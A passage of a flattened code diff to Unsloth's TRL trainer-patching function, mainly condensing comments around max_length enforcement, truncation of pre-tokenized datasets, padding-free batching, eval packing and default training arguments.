to max_length.if trainer_file == "sft_trainer":max_length_check = ("if 'max_length' not in locals() and not hasattr(args, 'max_length'):\n"@@ -2374,12 +1993,7 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):" print('Unsloth: We did not find `max_seq_length` or `max_length` in the model or args. We will set it to 1024.')\n"" args.max_length = 1024\n")- # TRL >= 1.0.0 refuses padding-free without packing while max_length is set, and Unsloth- # auto-enables padding-free, so nearly every SFT user tripped that guard. Move the resolved- # length to where it is enforced: max_seq_length when prep tokenizes, else padding-free off.- # Unconditional copy: no TRL from 0.22.2 to 1.9.2 declares max_seq_length on SFTConfig, so a- # hasattr() gate would skip every pristine config and the clear below would drop the cap.- # Must be None, not 0: TRL's guard reads `args.max_length is not None`.+ # TRL >= 1.0.0 refuses padding-free without packing while max_length is set, and Unsloth auto-enables padding-free, so move the resolved length to where it is enforced: max_seq_length when prep tokenizes, else padding-free off. Unconditional copy, since no TRL from 0.22.2 to 1.9.2 declares max_seq_length on SFTConfig and a hasattr() gate would skip every pristine config. Must be None, not 0: TRL's guard reads `args.max_length is not None`.if "`max_length` is not enforced" in old_RLTrainer_source:max_length_check += ("if getattr(args, 'padding_free', False) is True and not getattr(args, 'packing', False) "@@ -2393,9 +2007,7 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):" _unsloth_skip_prepare = True\n"" except Exception:\n"" pass\n"- # Metadata first, a row only as fallback: reading one off a one-shot stream consumes it, and- # `iter(x) is iter(x)` marks those. A with_transform split reports BACKING columns, so one- # yielding input_ids over stored `text` read "raw"; probing its rows is free.+ # Metadata first, a row only as fallback: reading one off a one-shot stream consumes it, and `iter(x) is iter(x)` marks those. A with_transform split reports BACKING columns, so one yielding input_ids over stored `text` read "raw"; probing its rows is free." def _unsloth_is_transformed(_ds):\n"" _f = getattr(_ds, 'format', None)\n"" _f = _f.get('type') if isinstance(_f, dict) else None\n"@@ -2418,12 +2030,7 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):" _unsloth_prep_truncates = False\n"" except Exception:\n"" _unsloth_prep_truncates = False\n"- # Already-tokenized rows are not a dead end: TRL's _prepare_dataset truncates them and its LM- # collator passes no max_length, so that truncation is the only thing enforcing the cap. The- # Zoo returns pre-tokenized rows untouched. skip_prepare_dataset is the exception.- # Only a MATERIALISED tokenized dataset, judged per DATASET since splits differ: with_transform- # yields input_ids while column_names still says ["text"], raw conversational rows would be- # sliced into corrupted turns, and a transform's rows are rebuilt on every read.+ # Already-tokenized rows are not a dead end: TRL's _prepare_dataset truncates them and its LM collator passes no max_length, so that truncation is the only thing enforcing the cap (skip_prepare_dataset is the exception). Only a MATERIALISED tokenized dataset, judged per DATASET since splits differ: with_transform yields input_ids while column_names still says ["text"], raw conversational rows would be sliced into corrupted turns, and a transform's rows are rebuilt on every read." def _unsloth_truncatable(_ds):\n"" if _ds is None or not hasattr(_ds, 'map'): return False\n"" try:\n"@@ -2435,43 +2042,26 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):" _cols = getattr(_ds, 'column_names', None)\n"" if isinstance(_cols, dict):\n"" _cols = [_c for _v in _cols.values() for _c in (_v or [])]\n"- # A packed split is out: TRL skips truncation when packing- # (`if args.max_length is not None and not packing`), and cutting input_ids under a- # seq_lengths that still describes the old row is worse than not cutting.+ # A packed split is out: TRL skips truncation when packing (`if args.max_length is not None and not packing`), and cutting input_ids under a seq_lengths that still describes the old row is worse than not cutting." if 'seq_lengths' in (_cols or ()): return False\n"" return bool(_cols) and 'input_ids' in _cols\n"" except Exception:\n"" return False\n"- # Read a row BACK: every predicate above is a guess about what the dataset will do, and this is the- # one check that observes it. A split with no input_ids is raw, so prep tokenizes it with- # the cap and it is fine.+ # Read a row BACK: every predicate above is a guess about what the dataset will do, and this is the one check that observes it. A split with no input_ids is raw, so prep tokenizes it with the cap and it is fine." _unsloth_cap = args.max_length\n"- # TRL slices [-max_length:] for keep_end, which callers use when the completion sits at the tail of- # a long prompt; always keeping the prefix trained on the wrong half of every row.+ # TRL slices [-max_length:] for keep_end, which callers use when the completion sits at the tail of a long prompt; always keeping the prefix trained on the wrong half of every row." _unsloth_truncation_mode = getattr(args, 'truncation_mode', 'keep_start') or 'keep_start'\n"- # keep_start and keep_end are the only two slices, and TRL's SFT path never reads this- # attribute, so a third value would go uncaught. Refuse the enforcement claim instead.+ # keep_start and keep_end are the only two slices, and TRL's SFT path never reads this attribute, so a third value would go uncaught. Refuse the enforcement claim instead." _unsloth_keep_end = _unsloth_truncation_mode == 'keep_end'\n"" _unsloth_known_mode = _unsloth_truncation_mode in ('keep_start', 'keep_end')\n"" _unsloth_slice = slice(-_unsloth_cap, None) if _unsloth_keep_end else slice(None, _unsloth_cap)\n"- # Resolved outside the truncation block, since the fallback reads it even under- # skip_prepare_dataset. eval_packing is separate from packing:- # packing = args.packing if args.eval_packing is None else args.eval_packing- # (sft_trainer.py), so packing=False with eval_packing=True reaches this branch, which is- # gated on `not args.packing`. TRL then packs the eval split instead of truncating it, and- # every strategy owns the overflow: `wrapped` concatenates the stream before chunking,- # `bfd_split` splits an overlength example into more chunks. Cutting rows at the cap first- # throws that away.+ # Resolved outside the truncation block, since the fallback reads it even under skip_prepare_dataset. eval_packing is separate: `packing = args.packing if args.eval_packing is None else args.eval_packing`, so packing=False with eval_packing=True reaches this branch, which is gated on `not args.packing`. TRL then packs the eval split instead of truncating it and every strategy owns the overflow (`wrapped` concatenates the stream before chunking, `bfd_split` splits an overlength example into more chunks), so cutting rows at the cap first throws that away." _unsloth_eval_packing = getattr(args, 'packing', False) if getattr(args, 'eval_packing', None) is None else getattr(args, 'eval_packing')\n"" _unsloth_completion_only = getattr(args, 'completion_only_loss', None)\n"- # Column names first, a row only if free: on a one-shot stream this probe ate the first- # TRAINING example. A with_transform split answers with its BACKING table, so one yielding- # prompt/completion read False here while TRL read True and applied completion_mask.+ # Column names first, a row only if free: on a one-shot stream this probe ate the first TRAINING example. A with_transform split answers with its BACKING table, so one yielding prompt/completion read False here while TRL read True and applied completion_mask." if _unsloth_completion_only is None:\n"" try:\n"- # A set_format(output_all_columns = False) split yields only the named columns while- # column_names still lists the whole backing table, so completion-only resolved True off a- # completion the rows never hand over. The format's own column list is what is yielded.+ # A set_format(output_all_columns = False) split yields only the named columns while column_names still lists the whole backing table, so completion-only resolved True off a completion the rows never hand over. The format's own column list is what is yielded." _unsloth_fmt = getattr(train_dataset, 'format', None)\n"" _unsloth_fmt = _unsloth_fmt if isinstance(_unsloth_fmt, dict) else {}\n"" _unsloth_shown = _unsloth_fmt.get('columns')\n"@@ -2488,18 +2078,13 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):" except Exception:\n"" _unsloth_train_sample = {}\n"" _unsloth_completion_only = ('prompt' in _unsloth_train_sample and 'completion' in _unsloth_train_sample)\n"- # Parked on args so the late evaluate()/predict() cap reads the SAME value: it resolves from- # the train schema, and disagreeing with the collator leaves an all -100 row in.+ # Parked on args so the late evaluate()/predict() cap reads the SAME value: it resolves from the train schema, and disagreeing with the collator leaves an all -100 row in." args._unsloth_completion_only_loss = _unsloth_completion_only\n"- # EVERY row, not the first: a short row 0 before a long row 5000 read as within the cap, and- # in the fallback branch nothing downstream truncates it. A map-style split is read in- # full; a stream cannot be rewound, so a bounded prefix is all there is and the check says- # so.+ # EVERY row, not the first: a short row 0 before a long row 5000 read as within the cap, and in the fallback branch nothing downstream truncates it. A map-style split is read in full; a stream cannot be rewound, so a bounded prefix is all there is and the check says so." _UNSLOTH_SCAN_ROWS = 1024\n"" def _unsloth_within_cap(_ds):\n"" if _ds is None: return True\n"- # Believe a producer's own truncation claim: scanning a with_transform split tokenizes every- # row in __init__. Read from __dict__ so a wrapper does not inherit the inner split's claim.+ # Believe a producer's own truncation claim: scanning a with_transform split tokenizes every row in __init__. Read from __dict__ so a wrapper does not inherit the inner split's claim." _unsloth_own = getattr(_ds, '__dict__', None)\n"" if isinstance(_unsloth_own, dict):\n"" _unsloth_claim = _unsloth_own.get('_unsloth_truncated_to')\n"@@ -2508,34 +2093,26 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):" try:\n"" try: _n = len(_ds)\n"" except Exception: _n = None\n"- # A single-pass stream cannot be scanned: reading it here IS consuming it, and two iter()- # calls returning the same object say so (a datasets.IterableDataset restarts and does not).- # Unverifiable, so answer as the prefix case: not proven within the cap.+ # A single-pass stream cannot be scanned: reading it here IS consuming it, and two iter() calls returning the same object say so (a datasets.IterableDataset restarts and does not). Unverifiable, so answer as the prefix case: not proven within the cap." _unsloth_rows = iter(_ds)\n"" if _unsloth_rows is iter(_ds): return False\n"" _seen = 0\n"" for _row in _unsloth_rows:\n"" if 'input_ids' not in _row: return True\n"" if len(_row['input_ids']) > _unsloth_cap: return False\n"- # An unexhausted stream is UNVERIFIED, not verified: treating the first 1024 fitting rows as proof- # let a later overlength row through, and nothing truncates a pre-tokenized row here.+ # An unexhausted stream is UNVERIFIED, not verified: treating the first 1024 fitting rows as proof let a later overlength row through, and nothing truncates a pre-tokenized row here." _seen += 1\n"" if _n is None and _seen >= _UNSLOTH_SCAN_ROWS: return False\n"" except Exception:\n"" return False\n"" return True\n"- # Each eval split counts: one the truncation cannot rewrite is left alone above, and prep- # never re-tokenizes rows carrying input_ids, so trusting the train split left eval uncapped.+ # Each eval split counts: one the truncation cannot rewrite is left alone above, and prep never re-tokenizes rows carrying input_ids, so trusting the train split left eval uncapped." def _unsloth_splits_within_cap(_ev):\n"" _splits = list(_ev.values()) if isinstance(_ev, dict) else [_ev]\n"" return all(_unsloth_within_cap(_s) for _s in _splits)\n"- # Not train-only: _unsloth_prep_truncates is decided from the train split, so a raw train beside a- # pre-tokenized eval set skipped this whole block and left evaluation uncapped.+ # Not train-only: _unsloth_prep_truncates is decided from the train split, so a raw train beside a pre-tokenized eval set skipped this whole block and left evaluation uncapped." if not _unsloth_skip_prepare:\n"- # Honour TRL's preparation map_kwargs so a large pre-tokenized dataset is not rewritten- # single-process, through the same helper as every map site: the config layer writes serial as- # dataset_num_proc = 1, and datasets >= 4.1 builds a Pool(1) for it, forking a tokenizer- # worker on the host that asked for none.+ # Honour TRL's preparation map_kwargs so a large pre-tokenized dataset is not rewritten single-process, through the same helper as every map site: the config layer writes serial as dataset_num_proc = 1, and datasets >= 4.1 builds a Pool(1) for it, forking a tokenizer worker on the host that asked for none." _unsloth_map_kw = {}\n"" try:\n"" try:\n"@@ -2546,9 +2123,7 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):" except Exception:\n"" _unsloth_nproc = None\n"" if _unsloth_nproc: _unsloth_map_kw['num_proc'] = _unsloth_nproc\n"- # Same rule as TRL's truncate_dataset: slice every per-row list column so input_ids, labels,- # attention_mask and the masks stay aligned. Written out rather than imported, since- # trl.data_utils drags in the processor stack and an ImportError would drop the cap.+ # Same rule as TRL's truncate_dataset: slice every per-row list column so input_ids, labels, attention_mask and the masks stay aligned. Written out rather than imported, since trl.data_utils drags in the processor stack and an ImportError would drop the cap." def _unsloth_is_sequence_column(_col):\n"" try:\n"" if len(_col) == 0: return False\n"@@ -2556,15 +2131,11 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):" except Exception:\n"" return False\n"" if isinstance(_first, (str, bytes)): return False\n"- # len(), not hasattr('__len__'): under set_format('torch') a scalar column batches to a 1-D- # tensor whose element is 0-dim, so len(_v) threw TypeError and the catch restored the- # overlength dataset.+ # len(), not hasattr('__len__'): under set_format('torch') a scalar column batches to a 1-D tensor whose element is 0-dim, so len(_v) threw TypeError and the catch restored the overlength dataset." try: len(_first)\n"" except Exception: return False\n"" return True\n"- # Per-token columns only, matched by row length against input_ids: a packed split's- # seq_lengths are document lengths, and slicing them left padding-free building position ids- # for tokens the row no longer has. Per VALUE, since a list row 0 can be None later.+ # Per-token columns only, matched by row length against input_ids: a packed split's seq_lengths are document lengths, and slicing them left padding-free building position ids for tokens the row no longer has. Per VALUE, since a list row 0 can be None later." def _unsloth_cut_value(_v, _r):\n"" try:\n"" if len(_v) != len(_r): return _v\n"@@ -2581,22 +2152,14 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):" else:\n"" _out[_k] = [_unsloth_cut_value(_v, _r) for _v, _r in zip(_col, _ids)]\n"" return _out\n"- # A stream has no length, and IterableDataset.map takes no num_proc: passing one raised TypeError- # and the run died on "cannot be enforced" instead of being truncated.+ # A stream has no length, and IterableDataset.map takes no num_proc: passing one raised TypeError and the run died on "cannot be enforced" instead of being truncated." def _unsloth_is_stream(_ds):\n"" try: return not hasattr(_ds, '__len__')\n"" except Exception: return True\n"- # One split, capped and then checked. A stream's map is lazy and applies to EVERY row it will ever- # yield, a stronger guarantee than the bounded prefix scan.- # Enforcement, not observation: a with_transform split under the cap is not enforced, since it- # rebuilds its rows on every read, so it keeps max_length and turns padding-free off.- # Schema first, a row only when free: next(iter(_ds)) on a single-pass stream is a row the run- # then trains without. An unprobeable stream answers True, holding max_length.+ # One split, capped and then checked. A stream's map is lazy and applies to EVERY row it will ever yield, a stronger guarantee than the bounded prefix scan. Enforcement, not observation: a with_transform split under the cap is not enforced, since it rebuilds its rows on every read, so it keeps max_length and turns padding-free off. Schema first, a row only when free: next(iter(_ds)) on a single-pass stream is a row the run then trains without, and an unprobeable stream answers True, holding max_length." def _unsloth_pretokenized(_ds):\n"" try:\n"- # Columns first, EXCEPT for a transform: a with_transform split reports its backing table, so- # one storing `text` and yielding overlength input_ids read "raw" and cleared max_length. Its- # rows are rebuilt on every read, so probing one costs nothing.+ # Columns first, EXCEPT for a transform: a with_transform split reports its backing table, so one storing `text` and yielding overlength input_ids read "raw" and cleared max_length. Its rows are rebuilt on every read, so probing one costs nothing." _cols = None if _unsloth_is_transformed(_ds) else getattr(_ds, 'column_names', None)\n"" if isinstance(_cols, dict):\n"" _cols = [_c for _v in _cols.values() for _c in (_v or [])]\n"@@ -2606,9 +2169,7 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):" _row = next(_probe, None)\n"" except Exception: return True\n"" return isinstance(_row, dict) and 'input_ids' in _row\n"- # Every rank reaches this before TRL's _prepare_dataset, which runs its own maps under- # main_process_first. Without the same window, eight ranks start num_proc workers each against- # one Arrow cache. A single process gets a no-op context manager.+ # Every rank reaches this before TRL's _prepare_dataset, which runs its own maps under main_process_first. Without the same window, eight ranks start num_proc workers each against one Arrow cache. A single process gets a no-op context manager." def _unsloth_rank_first():\n"" try:\n"" from accelerate import PartialState\n"@@ -2624,47 +2185,29 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):" if not _unsloth_truncatable(_ds): return _ds, not _unsloth_pretokenized(_ds)\n"" _kw = {} if _unsloth_is_stream(_ds) else _unsloth_map_kw\n"" _new = _ds.map(_unsloth_truncate_rows, batched = True, **_kw)\n"- # TRL filters these right after truncating: a row whose prompt fills the cap is all -100 and- # contributes no loss. labels is only one of three supervision signals; completion-only and- # assistant-only rows carry completion_mask / assistant_masks instead.- # A mask is supervision when TRL will apply it, and the two are not symmetric:- # DataCollatorForLanguageModeling gates completion_mask on completion_only_loss but applies- # assistant_masks on presence, so gating on the flag left an all-zero mask and an all -100 row.- # A None completion_only_loss is NOT "on": TRL resolves it from the dataset shape (prompt plus- # completion), and a pre-tokenized split has neither, so treating None as enabled deleted rows- # with valid full-sequence supervision.+ # TRL filters these right after truncating: a row whose prompt fills the cap is all -100 and contributes no loss. labels is only one of three supervision signals; completion-only and assistant-only rows carry completion_mask / assistant_masks instead. A mask is supervision when TRL will apply it, and the two are not symmetric: DataCollatorForLanguageModeling gates completion_mask on completion_only_loss but applies assistant_masks on presence, so gating on the flag left an all-zero mask and an all -100 row. A None completion_only_loss is NOT "on": TRL resolves it from the dataset shape (prompt plus completion), which a pre-tokenized split has neither of, so treating None as enabled deleted rows with valid full-sequence supervision." _unsloth_cols = getattr(_new, 'column_names', None) or ()\n"- # One mode for every split, from the TRAIN sample, because that is what the collator uses.- # Per-split resolution disagreed with it whenever the schemas differ, so rows whose mask- # truncated to all zeros survived and went all -100 at eval.+ # One mode for every split, from the TRAIN sample, because that is what the collator uses. Per-split resolution disagreed with it whenever the schemas differ, so rows whose mask truncated to all zeros survived and went all -100 at eval." _unsloth_masks = []\n"" if _unsloth_completion_only and 'completion_mask' in _unsloth_cols:\n"" _unsloth_masks.append('completion_mask')\n"" if 'assistant_masks' in _unsloth_cols:\n"" _unsloth_masks.append('assistant_masks')\n"" try:\n"- # labels is unconditional: it IS the supervision. Intersect labels AND every active mask- # rather than filtering each, since masks are applied one after another onto the labels; zip- # stops at the shorter, which is what an intersection means for a ragged pair.+ # labels is unconditional: it IS the supervision. Intersect labels AND every active mask rather than filtering each, since masks are applied one after another onto the labels." _unsloth_supervision = (['labels'] if 'labels' in _unsloth_cols else []) + _unsloth_masks\n"- # The masks are applied one after another onto the same labels, so what survives is their- # INTERSECTION. Filtering each on its own kept rows whose two masks light up in different- # positions, which TRL then labels all -100 -- the very rows this filter exists to drop. zip- # stops at the shorter, which is what an intersection means for a ragged pair.+ # What survives is the INTERSECTION of the masks: filtering each on its own kept rows whose two masks light up in different positions, which TRL then labels all -100, the very rows this filter exists to drop. zip stops at the shorter, which is what an intersection means for a ragged pair." if _unsloth_supervision:\n"" _new = _new.filter(lambda _e, _c = tuple(_unsloth_supervision): any(all((_x != -100) if _n == 'labels' else _x for _n, _x in zip(_c, _v)) for _v in zip(*[_e[_n] for _n in _c])), **_kw)\n"" except Exception:\n"" pass\n"- # Recorded, not raised: the caller wraps these calls in a broad `except Exception` that would turn a- # raise into "could not truncate", so the raise happens past that handler.+ # Recorded, not raised: the caller wraps these calls in a broad `except Exception` that would turn a raise into "could not truncate", so the raise happens past that handler." try:\n"" if _unsloth_supervision and len(_new) == 0: _unsloth_emptied.append(1)\n"" except TypeError:\n"" pass\n"" return _new, (True if _unsloth_is_stream(_new) else _unsloth_within_cap(_new))\n"- # Resolved BEFORE the try, since the fallback needs it even when the try never ran.- # eval_packing is separate from packing, so TRL may PACK the eval split instead of truncating- # it: keep max_length and turn padding-free off, which packing requires anyway.+ # Resolved BEFORE the try, since the fallback needs it even when the try never ran. eval_packing is separate from packing, so TRL may PACK the eval split instead of truncating it: keep max_length and turn padding-free off, which packing requires anyway." _unsloth_emptied = []\n"" _unsloth_orig_train = train_dataset\n"" _unsloth_orig_eval = eval_dataset if 'eval_dataset' in locals() else None\n"@@ -2672,20 +2215,11 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):" _unsloth_capped = _unsloth_known_mode\n"" if not _unsloth_known_mode:\n"" print('Unsloth: `truncation_mode = ' + str(_unsloth_truncation_mode) + '` is not one of keep_start / keep_end, so `max_length` is not being enforced here.')\n"- # A raw train split is tokenized with the cap by prep, so leave it alone. `and`, not a plain- # assignment, which threw away the unknown-mode refusal seeded above and served an unhonoured- # truncation_mode as keep_start.- # _unsloth_known_mode too: clearing _unsloth_capped only drops the ENFORCEMENT claim while the- # slice still ran, so the fallback scanned an already-trimmed split. Leaving the split alone- # lets that scan see the real lengths.+ # A raw train split is tokenized with the cap by prep, so leave it alone. `and`, not a plain assignment, which threw away the unknown-mode refusal seeded above and served an unhonoured truncation_mode as keep_start. _unsloth_known_mode too: clearing _unsloth_capped only drops the ENFORCEMENT claim while the slice still ran, so the fallback scanned an already-trimmed split." if _unsloth_known_mode and not _unsloth_prep_truncates:\n"" train_dataset, _unsloth_split_ok = _unsloth_cap_split(train_dataset)\n"" _unsloth_capped = _unsloth_capped and _unsloth_split_ok\n"- # An eval split TRL will PACK must not be truncated first: the branch is gated on- # `not args.packing` while eval_packing resolves separately, and the wrapped strategy- # concatenates the stream before chunking. Drop the enforcement claim, not the split.- # Each eval split on its own: a raw one stays raw for the tokenizer pass that follows, and only a- # materialised tokenized one is cut.+ # An eval split TRL will PACK must not be truncated first: the branch is gated on `not args.packing` while eval_packing resolves separately, and the wrapped strategy concatenates the stream before chunking. Drop the enforcement claim, not the split. Each eval split on its own: a raw one stays raw for the tokenizer pass that follows, and only a materialised tokenized one is cut." if _unsloth_eval_packing or not _unsloth_known_mode:\n"" _unsloth_capped = False\n"" elif 'eval_dataset' in locals() and eval_dataset is not None:\n"@@ -2699,27 +2233,20 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):" eval_dataset, _unsloth_split_ok = _unsloth_cap_split(eval_dataset)\n"" _unsloth_capped = _unsloth_capped and _unsloth_split_ok\n"" _unsloth_prep_truncates = _unsloth_capped\n"- # Splits that WERE rewritten keep their truncation: it is the cap the caller asked for, as- # TRL's truncate_dataset would apply it. Rolling them back for a sibling that cannot be- # rewritten put an overlength train set back; only the claim of enforcement is dropped.+ # Splits that WERE rewritten keep their truncation: it is the cap the caller asked for, as TRL's truncate_dataset would apply it. Rolling them back for a sibling that cannot be rewritten put an overlength train set back; only the claim of enforcement is dropped." if not _unsloth_capped:\n"" print('Unsloth: `max_length` cannot be enforced for every split here, so padding-free batching is being turned off instead.')\n"" except Exception as _unsloth_truncate_error:\n"" train_dataset = _unsloth_orig_train\n"" if 'eval_dataset' in locals(): eval_dataset = _unsloth_orig_eval\n"- # The flag is decided from the train split, so a failure while capping an eval split would otherwise- # leave it reading "cap enforced".+ # The flag is decided from the train split, so a failure while capping an eval split would otherwise leave it reading "cap enforced"." _unsloth_prep_truncates = False\n"# Never silent: a swallowed failure here reads as the cap being enforced." print('Unsloth: could not truncate the pre-tokenized dataset to `max_length` (' + str(_unsloth_truncate_error) + ').')\n"- # Outside the handler on purpose: if every row loses its supervised tokens the cap sits below- # where supervision starts, and every TRL 1.x reads next(iter(train_dataset)) in __init__, so- # an empty split surfaces as a bare StopIteration naming nothing.+ # Outside the handler on purpose: if every row loses its supervised tokens the cap sits below where supervision starts, and every TRL 1.x reads next(iter(train_dataset)) in __init__, so an empty split surfaces as a bare StopIteration naming nothing." if _unsloth_emptied:\n"" raise ValueError('Unsloth: truncating to `max_length = ' + str(args.max_length) + '` left every row with no supervised token, so there is nothing to train on. The supervised part of your rows starts past that length: raise `max_length`, or set `truncation_mode = \"keep_end\"` if the completion sits at the end of each row.')\n"- # A producer that truncates every row enforces the cap as truncate_dataset would, so keep- # padding-free rather than pay the fallback; Unsloth's online tokenization is this shape. Not- # under eval_packing: that split is overlength on purpose.+ # A producer that truncates every row enforces the cap as truncate_dataset would, so keep padding-free rather than pay the fallback; Unsloth's online tokenization is this shape. Not under eval_packing: that split is overlength on purpose." if not _unsloth_prep_truncates and not _unsloth_eval_packing:\n"" def _unsloth_attests(_ds):\n"" if _ds is None: return True\n"@@ -2737,13 +2264,7 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):" args.max_length = None\n"" max_length = None\n"" else:\n"- # Turning padding-free off keeps max_length for TRL's collator, which does not truncate, so- # rows already carrying input_ids are unenforced. TRL's own guard used to make this a hard- # error, so an observed overlength row must stay one rather than run silently uncapped.- # skip_prepare_dataset used to exempt this, the one way to get a silently uncapped run: TRL- # then neither truncates nor gives its collator a truncation length.- # An eval split left for the packer is overlength ON PURPOSE, so scanning it here turned a working- # eval-packing run into a hard error. The train split is still scanned: nothing packs that one.+ # Turning padding-free off keeps max_length for TRL's collator, which does not truncate, so rows already carrying input_ids are unenforced; TRL's own guard used to make this a hard error, so an observed overlength row must stay one rather than run silently uncapped. skip_prepare_dataset used to exempt this, the one way to get a silently uncapped run. An eval split left for the packer is overlength ON PURPOSE, so scanning it here turned a working eval-packing run into a hard error; the train split is still scanned, since nothing packs that one." _unsloth_scan_eval = None if _unsloth_eval_packing else (eval_dataset if 'eval_dataset' in locals() else None)\n"" if not (_unsloth_within_cap(train_dataset) and _unsloth_splits_within_cap(_unsloth_scan_eval)):\n"" raise ValueError('Unsloth: `max_length = ' + str(args.max_length) + '` cannot be enforced. Your dataset already carries `input_ids` and holds rows longer than that, and nothing downstream truncates pre-tokenized rows. Truncate it yourself before passing it in, or drop `max_length`.')\n"@@ -2752,7 +2273,6 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):)extra_args += max_length_check- # Enable for training and move padding side of tokenizer to rightif "model" in call_args:training_check = ("if model is not None and hasattr(model, 'for_training'):\n"@@ -2790,8 +2310,7 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):)extra_args += data_collator_check- # Also swap when .pad is missing on a VLM. LM/Seq2Seq collators only: preference collators- # (DPODataCollatorWithPadding etc.) keep their own prompt/chosen/rejected handling.+ # Also swap when .pad is missing on a VLM. LM/Seq2Seq collators only: preference collators (DPODataCollatorWithPadding etc.) keep their own prompt/chosen/rejected handling.pad_check = ("if not isinstance(data_collator, UnslothVisionDataCollator):\n"" if not hasattr(__tokenizer, 'pad') and hasattr(__tokenizer, 'tokenizer'):\n"@@ -2842,8 +2361,7 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):)RLTrainer_post += training_check- # Sync chat_template from processing_class to vLLM's tokenizer, which fixes base models that have- # custom chat templates applied after loading.+ # Sync chat_template from processing_class to vLLM's tokenizer, which fixes base models that have custom chat templates applied after loading.if "model" in call_args:vllm_chat_template_sync = ("if hasattr(self, 'llm') and self.llm is not None and hasattr(self.llm, 'get_tokenizer'):\n"@@ -2889,8 +2407,7 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):"logging_nan_inf_filter": False,"per_device_train_batch_size": 4,"gradient_accumulation_steps": 2,- # LoRA decays A and B toward 0, so W = W_init + (alpha/r) * B @ A is pulled to W_init, not 0- # as in full FT; 0.001 keeps a small Frobenius prior without dragging the adapter to base.+ # LoRA decays A and B toward 0, so W = W_init + (alpha/r) * B @ A is pulled to W_init, not 0 as in full FT; 0.001 keeps a small Frobenius prior without dragging the adapter to base."weight_decay": 0.001,"seed": 3407,"optim": "adamw_8bit",@@ -2914,9 +2431,7 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):"auto_find_batch_size": False, # Auto /2 batch size - too many people complained so removing"dataloader_pin_memory": True,"padding_free": None, # None = user didn't set it, allows auto-enable detection- # Might fail, so persistent dataloader workers / prefetch are disabled for now.}- # warmup_ratio is deprecated in transformers >= 5.0; warmup_steps accepts a float.if transformers_version >= Version("5.0.0"):replacements["warmup_steps"] = 0.1else:@@ -2936,8 +2451,7 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):"auto_find_batch_size": False, # Cannot work on GRPO# See fengyao.notion.site/off-policy-rl and huggingface/trl#3867."vllm_importance_sampling_correction": False,- # TRL >= 1.7.0 enables the MoE router aux loss by default (0.001), but the optimized GRPO forward- # does not compute it, so default it off; opt in via router_aux_loss_coef > 0.+ # TRL >= 1.7.0 enables the MoE router aux loss by default (0.001), but the optimized GRPO forward does not compute it, so default it off; opt in via router_aux_loss_coef > 0."router_aux_loss_coef": 0.0,}for k, v in replacements.items():@@ -2946,13 +2460,7 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):y = f"{k} = {y},\n"arguments = re.sub(x, y, arguments)- # TRL >= 1.7.0 defaults SFT to loss_type="chunked_nll" (trl#5846), which patches the lm_head and- # calls the backbone directly, so unsloth_fused_ce_loss never runs (ours chunks too and peaks- # 1.7-3.7GB lower on gemma-3-4b at 141-8192 tokens), and it divides by num_items_in_batch ignoring- # model_accepts_loss_kwargs, so on models setting that flag False (gemma3, qwen-vl, paligemma,- # glm4v) training_step divides by grad-accum again and loss and grads are scaled 1/GA. Explicit- # loss_type= still wins. Kept scoped to sft_trainer, since loss_type is an unrelated field in- # DPO/KTO/GRPO.+ # TRL >= 1.7.0 defaults SFT to loss_type="chunked_nll" (trl#5846), which patches the lm_head and calls the backbone directly, so unsloth_fused_ce_loss never runs (ours chunks too and peaks 1.7-3.7GB lower on gemma-3-4b at 141-8192 tokens), and it divides by num_items_in_batch ignoring model_accepts_loss_kwargs, so on models setting that flag False (gemma3, qwen-vl, paligemma, glm4v) training_step divides by grad-accum again and loss and grads are scaled 1/GA. Explicit loss_type= still wins. Kept scoped to sft_trainer, since loss_type is an unrelated field in DPO/KTO/GRPO.if trainer_file == "sft_trainer":replacements = {"loss_type": "nll"}for k, v in replacements.items():@@ -2978,7 +2486,6 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):)extra_args += num_train_epochs_check- # Check whether max_seq_length is NOT defined; max_length is now the default.if "max_seq_length" not in call_args and "max_length" in call_args:max_seq_length_pre = """max_seq_length : Optional[int] = field(default = None,@@ -2999,13 +2506,7 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):)extra_args += saving_check- # The worker-count policy lives in unsloth_zoo.dataset_num_proc: it had drifted into four- # inline copies, two wrong (stdlib multiprocessing start method, and `1` as the serial- # sentinel when datasets >= 4.1 builds a Pool(1)). In the zoo so generated source never- # imports back into its generator.- # serial_as_none depends on the reader: unsloth_zoo.sft_prepare_dataset reads a config None as- # "auto-size me", so SFT writes serial as 1 and the map() call site turns it back. DPO, KTO,- # CPO, ORPO, Reward and PRM pass it straight to Dataset.map, where 1 is a Pool(1).+ # The worker-count policy lives in unsloth_zoo.dataset_num_proc: it had drifted into four inline copies, two wrong (stdlib multiprocessing start method, and `1` as the serial sentinel when datasets >= 4.1 builds a Pool(1)). In the zoo so generated source never imports back into its generator. serial_as_none depends on the reader: unsloth_zoo.sft_prepare_dataset reads a config None as "auto-size me", so SFT writes serial as 1 and the map() call site turns it back, while DPO, KTO, CPO, ORPO, Reward and PRM pass it straight to Dataset.map, where 1 is a Pool(1).if "dataset_num_proc" in call_args:_serial_as_none = "False" if trainer_file == "sft_trainer" else 